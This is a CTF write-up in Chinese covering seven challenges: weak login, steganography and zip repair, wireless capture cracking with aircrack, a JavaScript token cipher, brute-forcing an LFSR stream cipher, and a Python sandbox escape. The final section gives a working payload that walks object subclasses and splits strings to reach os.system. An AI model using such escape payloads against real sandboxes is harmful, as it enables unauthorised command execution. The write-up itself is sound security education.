0x01 EASYWEB
前面做题的时候一直发现这个题不能注入,后来在登录页面随手试了admin和空口令登录,抓包发现会自动填充密码,把密码去掉拿到flag。
0x02 验证码
刚开始放出这个题目的时候是点击图片的验证码,随手点了几个等成绩刷新便拿到了flag。在放出验证码2后发现,这个题目竟然改过了。最终的flag:
0x03 picture
1.首先得到一张jpg图片,丢到binwalk里看到隐藏数据,直接使用-e参数解压出来下面的base64:
S1ADBBQAAQAAADkwl0xs4x98WgAAAE4AAAAEAAAAY29kZe
PegfAPrkdnhMG2gb86/AHHpS0GMqCrR9s21bP43SqmesL+oQGo5
0ljz4zIctqxIsTHV25+1mTE7vFc9gl5IUif7f1/rHIpHql7nqKPb+2M6n
RLuwhU8mb/w1BLAQI/ABQAAQAAADkwl0xs4x98WgAAAE4AA
AAEACQAAAAAAAAAIAAAAAAAAABjb2RlCgAgAAAAAAAB
ABgAAFvDg4Xa0wE8gAmth9rTATyACa2H2tMBUEsFBgAAAAA
BAAEAVgAAAHwAAADcAFtQeXRob24gMi43XQ0KPj4+IKh9qH
2ofQ0KDQpUcmFjZWJhY2sgKG1vc3QgcmVjZW50IGNhbGwgbG
FzdCk6DQogIEZpbGUgIjxweXNoZWxsIzA+IiwgbGluZSAxLCBpb
iA8bW9kdWxlPg0KICAgIKh9qH2ofQ0KWmVyb0RpdmlzaW9uRX
Jyb3I6IKh9qH2ofah9qH2ofah9qH2ofah9qH2ofah9qH2ofah9qH2ofa
h9qH2ofah9qH2ofah9qH2ofah9qH2ofSA8LSBwYXNzd29yZCA7KQ
0KPj4+IAA=
2.解base64可以得到一个头部损坏的zip压缩包,修复50 4B得到一个加密后的压缩包。
3.直接打开压缩包可以发现右侧的一段提示,这是Python在处理1/0时抛出的异常,手动抛出一下议程可以得到解压密码:
4.输入密码解压得到一串字符串,猜测为uuencode:
begin 644 key.txt
G0TE30TY[,C,X.$%&,C@Y,T5".#5%0C%"-#,Y04)&1C8Q-S,Q.49]
end
5.解uuencode可以得到flag:
0x04 寻找入侵者
1.首先从attack.pcapng中提取出所有无线包的mac地址。写个脚本实现
# -*- coding: utf-8 -*-
import scapy.all as scapy
packages = scapy.rdpcap('attack.pcapng')
fp = open('passwd_mac.txt','a+')
for i in packages:
try:
addr1 = i.addr1
addr2 = i.addr2
addr3 = i.addr3
fp.write(addr1 + '\n')
fp.write(addr2 + '\n')
fp.write(addr3 + '\n')
except:
pass
fp.close()
2.使用aricrack对无线包进行跑包,得到密码: 88:25:93:c1:c8:eb
3.使用airdecap解密无线包并使用wireshark打开后,发现下面的数据流:
4.提取这个压缩包出来后发现有损坏,尝试访问这个流中的地址,重新下载到了key.rar,解压缩,直接对流量包strings一下,得到flag。
0x05 flag_in_your_hand
非常非常简单的题目,在js中可以看到一个ck函数,这里是主要的验证输入token的位置。
直接写个脚本,逐位减3,还原为字符串即可。
# -*- coding: utf-8 -*-
cipher = [118, 104, 102, 120, 117, 108, 119, 124, 48, 123, 101, 120]
plain = ''
for i in cipher:
plain += chr(i-3)
print plain
输入得到的字符串:security-xbu,得到flag:
0x06 oldstreamgame
之前在强网杯中出现过的流密码,在赛后也分析过,但没找到WHCTF里提到的流密码快速攻击,所以就只能选择爆破了,但是经过分析以后发现,要爆破32位的二进制数,也就是4294967295(大约43亿)的字典,如果第一位从1开始,那也有2147483647(大约21亿5千万)的字典,算了,死马当作活马医,如果连尝试的勇气都没有,那还来打国赛?于是便修改了一下给的题目:
# flag = "flag{xxxxxxxxxxxxxxxx}"
# assert flag.startswith("flag{")
# assert flag.endswith("}")
# assert len(flag)==14
def lfsr(R,mask):
output = (R << 1) & 0xffffffff
i=(R&mask)&0xffffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
# R=int(flag[5:-1],16)
# f=open("key","w")
# for i in range(100):
# tmp=0
# for j in range(8):
# (R,out)=lfsr(R,mask)
# tmp=(tmp << 1)^out
# f.write(chr(tmp))
# f.close()
f = open('key', 'r')
ll = []
for i in f.read():
ll.append(ord(i))
print ll
R = 0
s = '0123456789abcdef'
for a in '89abcdef':
for b in s:
for c in s:
for d in s:
for e in s:
for ff in s:
for jj in s:
for kk in s:
mask = 0b10100100000010000000100010010100
# print mask
p = int(a+b+c+d+e+ff+jj+kk,16)
# print p
R = p
lb = []
for j in range(4):
tmp=0
for l in range(8):
(R,out) = lfsr(R,mask)
tmp = (tmp << 1)^out
lb.append(tmp)
if ll[:4] == lb:
print p
exit()</pre>
这个题目在刚出来就这样在跑,距离比赛结束还有半个小时的时候,突然听不到笔记本风扇的拖拉机的声音,这个时候我便知道,跑出来了,简直是个suprise.
0x07 run
这个题目是Python的沙盒逃逸,其实非常简单,但是总是GET不到那个点,也想到了应该是利用getattribute来进行绕过,但是机会总在不经意间溜走。赛后半小时,还是搞定了这个题目。
().__class__.__bases__[0].__getattribute__(().__class__.__bases__[0].__subclasses__()[59].__init__.im_func,'func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['s'+'ystem']('l'+'s')
2018-05-23 14:14